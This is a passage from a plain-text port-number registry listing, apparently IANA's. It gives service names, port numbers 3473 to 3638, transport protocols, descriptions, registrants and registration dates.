jaugsremotec-2 3473 udp JAUGS N-G Remotec 2 [Steven_B_Cliff] [Steven_B_Cliff] 2002-04
ttntspauto 3474 tcp TSP Automation [Arnie_Koster] [Arnie_Koster] 2002-04
ttntspauto 3474 udp TSP Automation [Arnie_Koster] [Arnie_Koster] 2002-04
genisar-port 3475 tcp Genisar Comm Port [Candace_Niccolson] [Candace_Niccolson] 2002-04
genisar-port 3475 udp Genisar Comm Port [Candace_Niccolson] [Candace_Niccolson] 2002-04
nppmp 3476 tcp NVIDIA Mgmt Protocol [Gilbert_Yeung] [Gilbert_Yeung] 2002-04
nppmp 3476 udp NVIDIA Mgmt Protocol [Gilbert_Yeung] [Gilbert_Yeung] 2002-04
ecomm 3477 tcp eComm link port [Thomas_Soerensen] [Thomas_Soerensen] 2002-04
ecomm 3477 udp eComm link port [Thomas_Soerensen] [Thomas_Soerensen] 2002-04
stun 3478 tcp Session Traversal Utilities [RFC5389]
for NAT (STUN) port
stun 3478 udp Session Traversal Utilities [RFC5389]
for NAT (STUN) port
turn 3478 tcp TURN over TCP [RFC5766]
turn 3478 udp TURN over UDP [RFC5766]
stun-behavior 3478 tcp STUN Behavior Discovery over [RFC5780]
TCP
stun-behavior 3478 udp STUN Behavior Discovery over [RFC5780]
UDP
twrpc 3479 tcp 2Wire RPC [Wire_IANA_Contact] [Wire_IANA_Contact] 2002-04
twrpc 3479 udp 2Wire RPC [Wire_IANA_Contact] [Wire_IANA_Contact] 2002-04
plethora 3480 tcp Secure Virtual Workspace [Tim_Simms] [Tim_Simms] 2002-04
plethora 3480 udp Secure Virtual Workspace [Tim_Simms] [Tim_Simms] 2002-04
cleanerliverc 3481 tcp CleanerLive remote ctrl [David_Mojdehi] [David_Mojdehi] 2002-04
cleanerliverc 3481 udp CleanerLive remote ctrl [David_Mojdehi] [David_Mojdehi] 2002-04
vulture 3482 tcp Vulture Monitoring System [Jason_Santos] [Jason_Santos] 2002-04
vulture 3482 udp Vulture Monitoring System [Jason_Santos] [Jason_Santos] 2002-04
slim-devices 3483 tcp Slim Devices Protocol [Sean_Adams] [Sean_Adams] 2002-05
slim-devices 3483 udp Slim Devices Protocol [Sean_Adams] [Sean_Adams] 2002-05
gbs-stp 3484 tcp GBS SnapTalk Protocol [Eric_Harris_Braun] [Eric_Harris_Braun] 2002-05
gbs-stp 3484 udp GBS SnapTalk Protocol [Eric_Harris_Braun] [Eric_Harris_Braun] 2002-05
celatalk 3485 tcp CelaTalk [Carl_Blundell] [Carl_Blundell] 2002-05
celatalk 3485 udp CelaTalk [Carl_Blundell] [Carl_Blundell] 2002-05
ifsf-hb-port 3486 tcp IFSF Heartbeat Port [IFSF_Secretary] [IFSF_Secretary] 2002-05
ifsf-hb-port 3486 udp IFSF Heartbeat Port [IFSF_Secretary] [IFSF_Secretary] 2002-05
ltctcp 3487 tcp LISA TCP Transfer Channel
ltcudp 3487 udp LISA UDP Transfer Channel [Pit_Vetterick] [Pit_Vetterick] 2002-05
fs-rh-srv 3488 tcp FS Remote Host Server [Brian_Nickles] [Brian_Nickles] 2002-05
fs-rh-srv 3488 udp FS Remote Host Server [Brian_Nickles] [Brian_Nickles] 2002-05
dtp-dia 3489 tcp DTP/DIA [Alexei_V_Soloviev] [Alexei_V_Soloviev] 2002-05
dtp-dia 3489 udp DTP/DIA [Alexei_V_Soloviev] [Alexei_V_Soloviev] 2002-05
colubris 3490 tcp Colubris Management Port [Gilbert_Moineau] [Gilbert_Moineau] 2002-05
colubris 3490 udp Colubris Management Port [Gilbert_Moineau] [Gilbert_Moineau] 2002-05
swr-port 3491 tcp SWR Port [Ian_Manning] [Ian_Manning] 2002-05
swr-port 3491 udp SWR Port [Ian_Manning] [Ian_Manning] 2002-05
tvdumtray-port 3492 tcp TVDUM Tray Port [Peter_Boers] [Peter_Boers] 2002-05
tvdumtray-port 3492 udp TVDUM Tray Port [Peter_Boers] [Peter_Boers] 2002-05
nut 3493 tcp Network UPS Tools [Russell_Kroll] [Russell_Kroll] 2002-05
nut 3493 udp Network UPS Tools [Russell_Kroll] [Russell_Kroll] 2002-05
ibm3494 3494 tcp IBM 3494 [Jeffrey_Pilch] [Jeffrey_Pilch]
ibm3494 3494 udp IBM 3494 [Jeffrey_Pilch] [Jeffrey_Pilch]
seclayer-tcp 3495 tcp securitylayer over tcp
seclayer-tcp 3495 udp securitylayer over tcp
seclayer-tls 3496 tcp securitylayer over tls [Arno_Hollosi] [Arno_Hollosi] 2002-03
seclayer-tls 3496 udp securitylayer over tls [Arno_Hollosi] [Arno_Hollosi] 2002-03
ipether232port 3497 tcp ipEther232Port [Marcus_Leufgen] [Marcus_Leufgen] 2002-05
ipether232port 3497 udp ipEther232Port [Marcus_Leufgen] [Marcus_Leufgen] 2002-05
dashpas-port 3498 tcp DASHPAS user port [Albrecht_Mayer] [Albrecht_Mayer] 2002-05
dashpas-port 3498 udp DASHPAS user port [Albrecht_Mayer] [Albrecht_Mayer] 2002-05
sccip-media 3499 tcp SccIP Media [David_Yon_2] [David_Yon_2] 2002-05
sccip-media 3499 udp SccIP Media [David_Yon_2] [David_Yon_2] 2002-05
rtmp-port 3500 tcp RTMP Port [Miriam_Wohlgelernter] [Miriam_Wohlgelernter]
rtmp-port 3500 udp RTMP Port [Miriam_Wohlgelernter] [Miriam_Wohlgelernter]
isoft-p2p 3501 tcp iSoft-P2P [David_Walling_2] [David_Walling_2]
isoft-p2p 3501 udp iSoft-P2P [David_Walling_2] [David_Walling_2]
avinstalldisc 3502 tcp Avocent Install Discovery [Brian_S_Stewart_2] [Brian_S_Stewart_2]
avinstalldisc 3502 udp Avocent Install Discovery [Brian_S_Stewart_2] [Brian_S_Stewart_2]
lsp-ping 3503 tcp MPLS LSP-echo Port [RFC8029]
lsp-ping 3503 udp MPLS LSP-echo Port [RFC8029]
ironstorm 3504 tcp IronStorm game server [Arnaud_Clermonte] [Arnaud_Clermonte]
ironstorm 3504 udp IronStorm game server [Arnaud_Clermonte] [Arnaud_Clermonte]
ccmcomm 3505 tcp CCM communications port [Tom_Bougan] [Tom_Bougan]
ccmcomm 3505 udp CCM communications port [Tom_Bougan] [Tom_Bougan]
apc-3506 3506 tcp APC 3506 [American_Power_Conve] [American_Power_Conve]
apc-3506 3506 udp APC 3506 [American_Power_Conve] [American_Power_Conve]
nesh-broker 3507 tcp Nesh Broker Port [Jeremy_Maiden] [Jeremy_Maiden]
nesh-broker 3507 udp Nesh Broker Port [Jeremy_Maiden] [Jeremy_Maiden]
interactionweb 3508 tcp Interaction Web [Mike_Gagle_2] [Mike_Gagle_2]
interactionweb 3508 udp Interaction Web [Mike_Gagle_2] [Mike_Gagle_2]
vt-ssl 3509 tcp Virtual Token SSL Port [Libor_Sykora] [Libor_Sykora] 2002-05
vt-ssl 3509 udp Virtual Token SSL Port [Libor_Sykora] [Libor_Sykora] 2002-05
xss-port 3510 tcp XSS Port [Joe_Purcell] [Joe_Purcell] 2002-05
xss-port 3510 udp XSS Port [Joe_Purcell] [Joe_Purcell] 2002-05
webmail-2 3511 tcp WebMail/2 [Dimitris_Michelinaki] [Dimitris_Michelinaki] 2002-05
webmail-2 3511 udp WebMail/2 [Dimitris_Michelinaki] [Dimitris_Michelinaki] 2002-05
aztec 3512 tcp Aztec Distribution Port [Alan_Francis] [Alan_Francis] 2002-05
aztec 3512 udp Aztec Distribution Port [Alan_Francis] [Alan_Francis] 2002-05
arcpd 3513 tcp Adaptec Remote Protocol [Hardy_Doelfel] [Hardy_Doelfel] 2002-05
arcpd 3513 udp Adaptec Remote Protocol [Hardy_Doelfel] [Hardy_Doelfel] 2002-05
must-p2p 3514 tcp MUST Peer to Peer
must-p2p 3514 udp MUST Peer to Peer
must-backplane 3515 tcp MUST Backplane [Rick_Stefanik] [Rick_Stefanik] 2002-05
must-backplane 3515 udp MUST Backplane [Rick_Stefanik] [Rick_Stefanik] 2002-05
smartcard-port 3516 tcp Smartcard Port [Scott_Guthery] [Scott_Guthery] 2002-05
smartcard-port 3516 udp Smartcard Port [Scott_Guthery] [Scott_Guthery] 2002-05
802-11-iapp 3517 tcp IEEE 802.11 WLANs WG IAPP [Stuart_J_Kerry] [Stuart_J_Kerry] 2002-05
802-11-iapp 3517 udp IEEE 802.11 WLANs WG IAPP [Stuart_J_Kerry] [Stuart_J_Kerry] 2002-05
artifact-msg 3518 tcp Artifact Message Server [Ron_Capwell] [Ron_Capwell] 2002-06
artifact-msg 3518 udp Artifact Message Server [Ron_Capwell] [Ron_Capwell] 2002-06
nvmsgd 3519 tcp Netvion Messenger Port
galileo 3519 udp Netvion Galileo Port
galileolog 3520 tcp Netvion Galileo Log Port [Ray_Caruso] [Ray_Caruso] 2002-06
galileolog 3520 udp Netvion Galileo Log Port [Ray_Caruso] [Ray_Caruso] 2002-06
mc3ss 3521 tcp Telequip Labs MC3SS [Michael_Sparks] [Michael_Sparks] 2002-06
mc3ss 3521 udp Telequip Labs MC3SS [Michael_Sparks] [Michael_Sparks] 2002-06
nssocketport 3522 tcp DO over NSSocketPort [Douglas_Davidson] [Douglas_Davidson] 2002-06
nssocketport 3522 udp DO over NSSocketPort [Douglas_Davidson] [Douglas_Davidson] 2002-06
odeumservlink 3523 tcp Odeum Serverlink [Mads_Peter_Back] [Mads_Peter_Back] 2002-06
odeumservlink 3523 udp Odeum Serverlink [Mads_Peter_Back] [Mads_Peter_Back] 2002-06
ecmport 3524 tcp ECM Server port
ecmport 3524 udp ECM Server port
eisport 3525 tcp EIS Server port [Paul_Kraus] [Paul_Kraus] 2002-06
eisport 3525 udp EIS Server port [Paul_Kraus] [Paul_Kraus] 2002-06
starquiz-port 3526 tcp starQuiz Port [Adam_Ernst_2] [Adam_Ernst_2] 2002-06
starquiz-port 3526 udp starQuiz Port [Adam_Ernst_2] [Adam_Ernst_2] 2002-06
beserver-msg-q 3527 tcp VERITAS Backup Exec Server [Katherine_Wattwood] [Katherine_Wattwood] 2002-06
beserver-msg-q 3527 udp VERITAS Backup Exec Server [Katherine_Wattwood] [Katherine_Wattwood] 2002-06
jboss-iiop 3528 tcp JBoss IIOP
jboss-iiop 3528 udp JBoss IIOP
jboss-iiop-ssl 3529 tcp JBoss IIOP/SSL [Francisco_Reverbel] [Francisco_Reverbel] 2002-06
jboss-iiop-ssl 3529 udp JBoss IIOP/SSL [Francisco_Reverbel] [Francisco_Reverbel] 2002-06
gf 3530 tcp Grid Friendly [Daivd_P_Chassin] [Daivd_P_Chassin] 2002-06
gf 3530 udp Grid Friendly [Daivd_P_Chassin] [Daivd_P_Chassin] 2002-06
joltid 3531 tcp Joltid [Ahti_Heinla] [Ahti_Heinla] 2002-06
joltid 3531 udp Joltid [Ahti_Heinla] [Ahti_Heinla] 2002-06
raven-rmp 3532 tcp Raven Remote Management
Control
raven-rmp 3532 udp Raven Remote Management
Control
raven-rdp 3533 tcp Raven Remote Management Data [Daniel_Sorlov_2] [Daniel_Sorlov_2] 2002-06
raven-rdp 3533 udp Raven Remote Management Data [Daniel_Sorlov_2] [Daniel_Sorlov_2] 2002-06
urld-port 3534 tcp URL Daemon Port [Jim_Binkley] [Jim_Binkley] 2002-06
urld-port 3534 udp URL Daemon Port [Jim_Binkley] [Jim_Binkley] 2002-06
ms-la 3535 tcp MS-LA [Eric_Ledoux] [Eric_Ledoux]
ms-la 3535 udp MS-LA [Eric_Ledoux] [Eric_Ledoux]
snac 3536 tcp SNAC [Tatsuya_Igarashi] [Tatsuya_Igarashi] 2002-07
snac 3536 udp SNAC [Tatsuya_Igarashi] [Tatsuya_Igarashi] 2002-07
ni-visa-remote 3537 tcp Remote NI-VISA port [Sinnadurai_Dharshan] [Sinnadurai_Dharshan] 2002-07
ni-visa-remote 3537 udp Remote NI-VISA port [Sinnadurai_Dharshan] [Sinnadurai_Dharshan] 2002-07
ibm-diradm 3538 tcp IBM Directory Server
ibm-diradm 3538 udp IBM Directory Server
ibm-diradm-ssl 3539 tcp IBM Directory Server SSL [Mark_Cavage] [Mark_Cavage] 2002-07
ibm-diradm-ssl 3539 udp IBM Directory Server SSL [Mark_Cavage] [Mark_Cavage] 2002-07
pnrp-port 3540 tcp PNRP User Port [Igor_Kostic] [Igor_Kostic] 2002-07
pnrp-port 3540 udp PNRP User Port [Igor_Kostic] [Igor_Kostic] 2002-07
voispeed-port 3541 tcp VoiSpeed Port [Virgilio_Lattanzi] [Virgilio_Lattanzi] 2002-07
voispeed-port 3541 udp VoiSpeed Port [Virgilio_Lattanzi] [Virgilio_Lattanzi] 2002-07
hacl-monitor 3542 tcp HA cluster monitor [Jason_Ko] [Jason_Ko] 2002-07
hacl-monitor 3542 udp HA cluster monitor [Jason_Ko] [Jason_Ko] 2002-07
qftest-lookup 3543 tcp qftest Lookup Port [Gregor_Schmid] [Gregor_Schmid] 2002-07
qftest-lookup 3543 udp qftest Lookup Port [Gregor_Schmid] [Gregor_Schmid] 2002-07
teredo 3544 tcp Teredo Port [RFC4380]
teredo 3544 udp Teredo Port [RFC4380]
camac 3545 tcp CAMAC equipment [Eugene_Zhiganov] [Eugene_Zhiganov] 2002-07
camac 3545 udp CAMAC equipment [Eugene_Zhiganov] [Eugene_Zhiganov] 2002-07
3546 Unassigned 2002-09
symantec-sim 3547 tcp Symantec SIM [George_Dzieciol] [George_Dzieciol] 2002-07
symantec-sim 3547 udp Symantec SIM [George_Dzieciol] [George_Dzieciol] 2002-07
interworld 3548 tcp Interworld [John_Stephen] [John_Stephen] 2002-07
interworld 3548 udp Interworld [John_Stephen] [John_Stephen] 2002-07
tellumat-nms 3549 tcp Tellumat MDR NMS [Hennie_van_der_Merwe] [Hennie_van_der_Merwe] 2002-07
tellumat-nms 3549 udp Tellumat MDR NMS [Hennie_van_der_Merwe] [Hennie_van_der_Merwe] 2002-07
ssmpp 3550 tcp Secure SMPP [Cormac_Long] [Cormac_Long] 2002-07
ssmpp 3550 udp Secure SMPP [Cormac_Long] [Cormac_Long] 2002-07
apcupsd 3551 tcp Apcupsd Information Port [Riccardo_Facchetti] [Riccardo_Facchetti] 2002-07
apcupsd 3551 udp Apcupsd Information Port [Riccardo_Facchetti] [Riccardo_Facchetti] 2002-07
taserver 3552 tcp TeamAgenda Server Port [Dany_Ayotte] [Dany_Ayotte] 2002-07
taserver 3552 udp TeamAgenda Server Port [Dany_Ayotte] [Dany_Ayotte] 2002-07
rbr-discovery 3553 tcp Red Box Recorder ADP [Simon_Jolly] [Simon_Jolly] 2002-07
rbr-discovery 3553 udp Red Box Recorder ADP [Simon_Jolly] [Simon_Jolly] 2002-07
questnotify 3554 tcp Quest Notification Server [Rob_Griffin] [Rob_Griffin] 2002-07
questnotify 3554 udp Quest Notification Server [Rob_Griffin] [Rob_Griffin] 2002-07
razor 3555 tcp Vipul's Razor [Vipul_Ved_Prakash] [Vipul_Ved_Prakash] 2002-07
razor 3555 udp Vipul's Razor [Vipul_Ved_Prakash] [Vipul_Ved_Prakash] 2002-07
sky-transport 3556 tcp Sky Transport Protocol [Michael_Paddon] [Michael_Paddon] 2002-07
sky-transport 3556 udp Sky Transport Protocol [Michael_Paddon] [Michael_Paddon] 2002-07
personalos-001 3557 tcp PersonalOS Comm Port [Shane_Roberts] [Shane_Roberts] 2002-07
personalos-001 3557 udp PersonalOS Comm Port [Shane_Roberts] [Shane_Roberts] 2002-07
mcp-port 3558 tcp MCP user port [Professor_Paul_S_Wa] [Professor_Paul_S_Wa] 2002-07
mcp-port 3558 udp MCP user port [Professor_Paul_S_Wa] [Professor_Paul_S_Wa] 2002-07
cctv-port 3559 tcp CCTV control port [John_Skidmore] [John_Skidmore] 2002-07
cctv-port 3559 udp CCTV control port [John_Skidmore] [John_Skidmore] 2002-07
iniserve-port 3560 tcp INIServe port [Peter_Moylan] [Peter_Moylan] 2002-08
iniserve-port 3560 udp INIServe port [Peter_Moylan] [Peter_Moylan] 2002-08
bmc-onekey 3561 tcp BMC-OneKey [Portnoy_Boxman] [Portnoy_Boxman] 2002-08
bmc-onekey 3561 udp BMC-OneKey [Portnoy_Boxman] [Portnoy_Boxman] 2002-08
sdbproxy 3562 tcp SDBProxy [Eric_Grange] [Eric_Grange] 2002-08
sdbproxy 3562 udp SDBProxy [Eric_Grange] [Eric_Grange] 2002-08
watcomdebug 3563 tcp Watcom Debug [Dave_Neudoerffer] [Dave_Neudoerffer]
watcomdebug 3563 udp Watcom Debug [Dave_Neudoerffer] [Dave_Neudoerffer]
esimport 3564 tcp Electromed SIM port [Francois_Marchand] [Francois_Marchand] 2002-08
esimport 3564 udp Electromed SIM port [Francois_Marchand] [Francois_Marchand] 2002-08
m2pa 3565 tcp M2PA [RFC4165]
3565 udp Reserved
m2pa 3565 sctp M2PA [RFC4165]
quest-data-hub 3566 tcp Quest Data Hub [Greg_Cottman_2] [Greg_Cottman_2] 2010-10-18
3566 udp Reserved 2010-10-18
dof-eps 3567 tcp DOF Protocol Stack [OpenDOF] [Bryant_Eastham] 2002-08 2015-04-23
dof-eps 3567 udp DOF Protocol Stack [OpenDOF] [Bryant_Eastham] 2002-08 2015-04-23
dof-tunnel-sec 3568 tcp DOF Secure Tunnel [OpenDOF] [Bryant_Eastham] 2003-01 2015-04-23
dof-tunnel-sec 3568 udp DOF Secure Tunnel [OpenDOF] [Bryant_Eastham] 2003-01 2015-04-23
mbg-ctrl 3569 tcp Meinberg Control Service [Martin_Burnicki] [Martin_Burnicki] 2002-08
mbg-ctrl 3569 udp Meinberg Control Service [Martin_Burnicki] [Martin_Burnicki] 2002-08
mccwebsvr-port 3570 tcp MCC Web Server Port
mccwebsvr-port 3570 udp MCC Web Server Port
megardsvr-port 3571 tcp MegaRAID Server Port
megardsvr-port 3571 udp MegaRAID Server Port
megaregsvrport 3572 tcp Registration Server Port [Sreenivas_Bagalkote] [Sreenivas_Bagalkote] 2002-08
megaregsvrport 3572 udp Registration Server Port [Sreenivas_Bagalkote] [Sreenivas_Bagalkote] 2002-08
tag-ups-1 3573 tcp Advantage Group UPS Suite [James_Goddard] [James_Goddard] 2002-08
tag-ups-1 3573 udp Advantage Group UPS Suite [James_Goddard] [James_Goddard] 2002-08
dmaf-server 3574 tcp DMAF Server
dmaf-caster 3574 udp DMAF Caster [Ramakrishna_Nadendla] [Ramakrishna_Nadendla] 2002-08
ccm-port 3575 tcp Coalsere CCM Port
ccm-port 3575 udp Coalsere CCM Port
cmc-port 3576 tcp Coalsere CMC Port [Chris_Hawkinson] [Chris_Hawkinson] 2002-08
cmc-port 3576 udp Coalsere CMC Port [Chris_Hawkinson] [Chris_Hawkinson] 2002-08
config-port 3577 tcp Configuration Port
config-port 3577 udp Configuration Port
data-port 3578 tcp Data Port [Anupam_Bharali] [Anupam_Bharali] 2002-08
data-port 3578 udp Data Port [Anupam_Bharali] [Anupam_Bharali] 2002-08
ttat3lb 3579 tcp Tarantella Load Balancing [Jim_Musgrave] [Jim_Musgrave] 2002-08
ttat3lb 3579 udp Tarantella Load Balancing [Jim_Musgrave] [Jim_Musgrave] 2002-08
nati-svrloc 3580 tcp NATI-ServiceLocator [Jason_Case] [Jason_Case] 2002-08
nati-svrloc 3580 udp NATI-ServiceLocator [Jason_Case] [Jason_Case] 2002-08
kfxaclicensing 3581 tcp Ascent Capture Licensing [Brad_Hamilton_2] [Brad_Hamilton_2] 2002-08
kfxaclicensing 3581 udp Ascent Capture Licensing [Brad_Hamilton_2] [Brad_Hamilton_2] 2002-08
press 3582 tcp PEG PRESS Server [Jim_DeLisle] [Jim_DeLisle] 2002-08
press 3582 udp PEG PRESS Server [Jim_DeLisle] [Jim_DeLisle] 2002-08
canex-watch 3583 tcp CANEX Watch System [Peter_Kollath] [Peter_Kollath] 2002-08
canex-watch 3583 udp CANEX Watch System [Peter_Kollath] [Peter_Kollath] 2002-08
u-dbap 3584 tcp U-DBase Access Protocol [Bodo_Rueskamp] [Bodo_Rueskamp] 2002-08
u-dbap 3584 udp U-DBase Access Protocol [Bodo_Rueskamp] [Bodo_Rueskamp] 2002-08
emprise-lls 3585 tcp Emprise License Server
emprise-lls 3585 udp Emprise License Server
emprise-lsc 3586 tcp License Server Console [James_J_Diaz] [James_J_Diaz] 2002-08
emprise-lsc 3586 udp License Server Console [James_J_Diaz] [James_J_Diaz] 2002-08
p2pgroup 3587 tcp Peer to Peer Grouping [Igor_Kostic] [Igor_Kostic] 2002-08
p2pgroup 3587 udp Peer to Peer Grouping [Igor_Kostic] [Igor_Kostic] 2002-08
sentinel 3588 tcp Sentinel Server [Ian_Gordon] [Ian_Gordon] 2002-08
sentinel 3588 udp Sentinel Server [Ian_Gordon] [Ian_Gordon] 2002-08
isomair 3589 tcp isomair [Richard_Fleming] [Richard_Fleming] 2002-08
isomair 3589 udp isomair [Richard_Fleming] [Richard_Fleming] 2002-08
wv-csp-sms 3590 tcp WV CSP SMS Binding [Matti_Salmi] [Matti_Salmi] 2002-08
wv-csp-sms 3590 udp WV CSP SMS Binding [Matti_Salmi] [Matti_Salmi] 2002-08
gtrack-server 3591 tcp LOCANIS G-TRACK Server
gtrack-server 3591 udp LOCANIS G-TRACK Server
gtrack-ne 3592 tcp LOCANIS G-TRACK NE Port [Juergen_Edelhaeuser] [Juergen_Edelhaeuser] 2002-08
gtrack-ne 3592 udp LOCANIS G-TRACK NE Port [Juergen_Edelhaeuser] [Juergen_Edelhaeuser] 2002-08
bpmd 3593 tcp BP Model Debugger [Keith_Fligg] [Keith_Fligg] 2002-09
bpmd 3593 udp BP Model Debugger [Keith_Fligg] [Keith_Fligg] 2002-09
mediaspace 3594 tcp MediaSpace
mediaspace 3594 udp MediaSpace
shareapp 3595 tcp ShareApp [Jeff_King] [Jeff_King] 2002-09
shareapp 3595 udp ShareApp [Jeff_King] [Jeff_King] 2002-09
iw-mmogame 3596 tcp Illusion Wireless MMOG [Jan_Vrsinsky] [Jan_Vrsinsky] 2002-09
iw-mmogame 3596 udp Illusion Wireless MMOG [Jan_Vrsinsky] [Jan_Vrsinsky] 2002-09
a14 3597 tcp A14 (AN-to-SC/MM)
a14 3597 udp A14 (AN-to-SC/MM)
a15 3598 tcp A15 (AN-to-AN) [David_Ott] [David_Ott] 2002-09
a15 3598 udp A15 (AN-to-AN) [David_Ott] [David_Ott] 2002-09
quasar-server 3599 tcp Quasar Accounting Server [Brad_Pepers] [Brad_Pepers] 2002-09
quasar-server 3599 udp Quasar Accounting Server [Brad_Pepers] [Brad_Pepers] 2002-09
trap-daemon 3600 tcp text relay-answer [John_Willis] [John_Willis] 2002-09 2017-07-26
trap-daemon 3600 udp text relay-answer [John_Willis] [John_Willis] 2002-09 2017-07-26
visinet-gui 3601 tcp Visinet Gui [Jeff_Douglass] [Jeff_Douglass] 2002-09
visinet-gui 3601 udp Visinet Gui [Jeff_Douglass] [Jeff_Douglass] 2002-09
infiniswitchcl 3602 tcp InfiniSwitch Mgr Client [Lee_VanTine] [Lee_VanTine] 2002-09
infiniswitchcl 3602 udp InfiniSwitch Mgr Client [Lee_VanTine] [Lee_VanTine] 2002-09
int-rcv-cntrl 3603 tcp Integrated Rcvr Control [Dave_Stone] [Dave_Stone] 2002-09
int-rcv-cntrl 3603 udp Integrated Rcvr Control [Dave_Stone] [Dave_Stone] 2002-09
bmc-jmx-port 3604 tcp BMC JMX Port [Portnoy_Boxman] [Portnoy_Boxman] 2002-09
bmc-jmx-port 3604 udp BMC JMX Port [Portnoy_Boxman] [Portnoy_Boxman] 2002-09
comcam-io 3605 tcp ComCam IO Port [Don_Gilbreath] [Don_Gilbreath] 2002-09
comcam-io 3605 udp ComCam IO Port [Don_Gilbreath] [Don_Gilbreath] 2002-09
splitlock 3606 tcp Splitlock Server [Andrew_Tune] [Andrew_Tune] 2002-09
splitlock 3606 udp Splitlock Server [Andrew_Tune] [Andrew_Tune] 2002-09
precise-i3 3607 tcp Precise I3 [Tomer_Shain] [Tomer_Shain] 2002-09
precise-i3 3607 udp Precise I3 [Tomer_Shain] [Tomer_Shain] 2002-09
trendchip-dcp 3608 tcp Trendchip control protocol [Ming_Jen_Chen] [Ming_Jen_Chen] 2002-09
trendchip-dcp 3608 udp Trendchip control protocol [Ming_Jen_Chen] [Ming_Jen_Chen] 2002-09
cpdi-pidas-cm 3609 tcp CPDI PIDAS Connection Mon [Tony_Splaver] [Tony_Splaver] 2002-09
cpdi-pidas-cm 3609 udp CPDI PIDAS Connection Mon [Tony_Splaver] [Tony_Splaver] 2002-09
echonet 3610 tcp ECHONET [Takeshi_Saito] [Takeshi_Saito] 2002-09
echonet 3610 udp ECHONET [Takeshi_Saito] [Takeshi_Saito] 2002-09
six-degrees 3611 tcp Six Degrees Port [Zach_Nies] [Zach_Nies] 2002-09
six-degrees 3611 udp Six Degrees Port [Zach_Nies] [Zach_Nies] 2002-09
hp-dataprotect 3612 tcp HP Data Protector [Hewlett_Packard_2] [Oliver_Breyel] 2002-09 2013-02-07
hp-dataprotect 3612 udp HP Data Protector [Hewlett_Packard_2] [Oliver_Breyel] 2002-09 2013-02-07
alaris-disc 3613 tcp Alaris Device Discovery [Chris_Dern] [Chris_Dern] 2004-06
alaris-disc 3613 udp Alaris Device Discovery [Chris_Dern] [Chris_Dern] 2004-06
sigma-port 3614 tcp Satchwell Sigma [Dave_Chapman] [Dave_Chapman] 2011-06-06
sigma-port 3614 udp Satchwell Sigma [Dave_Chapman] [Dave_Chapman] 2011-06-06
start-network 3615 tcp Start Messaging Network [Peter_Rocca] [Peter_Rocca] 2002-10
start-network 3615 udp Start Messaging Network [Peter_Rocca] [Peter_Rocca] 2002-10
cd3o-protocol 3616 tcp cd3o Control Protocol [Chris_Wilcox] [Chris_Wilcox] 2002-10
cd3o-protocol 3616 udp cd3o Control Protocol [Chris_Wilcox] [Chris_Wilcox] 2002-10
sharp-server 3617 tcp ATI SHARP Logic Engine [Bill_Reveile] [Bill_Reveile]
sharp-server 3617 udp ATI SHARP Logic Engine [Bill_Reveile] [Bill_Reveile]
aairnet-1 3618 tcp AAIR-Network 1
aairnet-1 3618 udp AAIR-Network 1
aairnet-2 3619 tcp AAIR-Network 2 [James_Mealey] [James_Mealey] 2002-10
aairnet-2 3619 udp AAIR-Network 2 [James_Mealey] [James_Mealey] 2002-10
ep-pcp 3620 tcp EPSON Projector Control Port
ep-pcp 3620 udp EPSON Projector Control Port
ep-nsp 3621 tcp EPSON Network Screen Port [SEIKO_EPSON_3] [SEIKO_EPSON_3] 2002-10
ep-nsp 3621 udp EPSON Network Screen Port [SEIKO_EPSON_3] [SEIKO_EPSON_3] 2002-10
ff-lr-port 3622 tcp FF LAN Redundancy Port [Fieldbus_Foundation] [Fieldbus_Foundation] 2002-10
ff-lr-port 3622 udp FF LAN Redundancy Port [Fieldbus_Foundation] [Fieldbus_Foundation] 2002-10
haipe-discover 3623 tcp HAIPIS Dynamic Discovery [Mike_Irani] [Mike_Irani] 2002-10
haipe-discover 3623 udp HAIPIS Dynamic Discovery [Mike_Irani] [Mike_Irani] 2002-10
dist-upgrade 3624 tcp Distributed Upgrade Port [Jason_Schoon] [Jason_Schoon] 2002-10
dist-upgrade 3624 udp Distributed Upgrade Port [Jason_Schoon] [Jason_Schoon] 2002-10
volley 3625 tcp Volley [David_Catmull] [David_Catmull] 2002-10
volley 3625 udp Volley [David_Catmull] [David_Catmull] 2002-10
bvcdaemon-port 3626 tcp bvControl Daemon [Ravi_Gokhale] [Ravi_Gokhale] 2002-10
bvcdaemon-port 3626 udp bvControl Daemon [Ravi_Gokhale] [Ravi_Gokhale] 2002-10
jamserverport 3627 tcp Jam Server Port [Art_Pope] [Art_Pope] 2002-10
jamserverport 3627 udp Jam Server Port [Art_Pope] [Art_Pope] 2002-10
ept-machine 3628 tcp EPT Machine Interface [Victor_H_Farrace] [Victor_H_Farrace] 2002-10
ept-machine 3628 udp EPT Machine Interface [Victor_H_Farrace] [Victor_H_Farrace] 2002-10
escvpnet 3629 tcp ESC/VP.net [Hiroyuki_Hashimoto] [Hiroyuki_Hashimoto] 2002-10
escvpnet 3629 udp ESC/VP.net [Hiroyuki_Hashimoto] [Hiroyuki_Hashimoto] 2002-10
cs-remote-db 3630 tcp C&S Remote Database Port
cs-remote-db 3630 udp C&S Remote Database Port
cs-services 3631 tcp C&S Web Services Port [Computer_Software_Gm] [Computer_Software_Gm] 2002-10
cs-services 3631 udp C&S Web Services Port [Computer_Software_Gm] [Computer_Software_Gm] 2002-10
distcc 3632 tcp distributed compiler [Martin_Pool] [Martin_Pool] 2002-11 Defined TXT keys: None
distcc 3632 udp distributed compiler [Martin_Pool] [Martin_Pool] 2002-11 Defined TXT keys: None
wacp 3633 tcp Wyrnix AIS port [Harry_T_Vennik] [Harry_T_Vennik] 2002-11
wacp 3633 udp Wyrnix AIS port [Harry_T_Vennik] [Harry_T_Vennik] 2002-11
hlibmgr 3634 tcp hNTSP Library Manager [Kenji_Tetsuyama] [Kenji_Tetsuyama] 2002-11
hlibmgr 3634 udp hNTSP Library Manager [Kenji_Tetsuyama] [Kenji_Tetsuyama] 2002-11
sdo 3635 tcp Simple Distributed Objects [Alexander_Philippou] [Alexander_Philippou] 2002-11
sdo 3635 udp Simple Distributed Objects [Alexander_Philippou] [Alexander_Philippou] 2002-11
servistaitsm 3636 tcp SerVistaITSM [Ralph_Campbell] [Ralph_Campbell] 2002-11
servistaitsm 3636 udp SerVistaITSM [Ralph_Campbell] [Ralph_Campbell] 2002-11
scservp 3637 tcp Customer Service Port [Jonathan_A_Zdziarsk] [Jonathan_A_Zdziarsk] 2002-11
scservp 3637 udp Customer Service Port [Jonathan_A_Zdziarsk] [Jonathan_A_Zdziarsk] 2002-11
ehp-backup 3638 tcp EHP Backup Protocol [Ed_Fair] [Ed_Fair] 2002-11
ehp-backup 3638 udp EHP Backup Protocol [Ed_Fair] [Ed_Fair] 2002-11
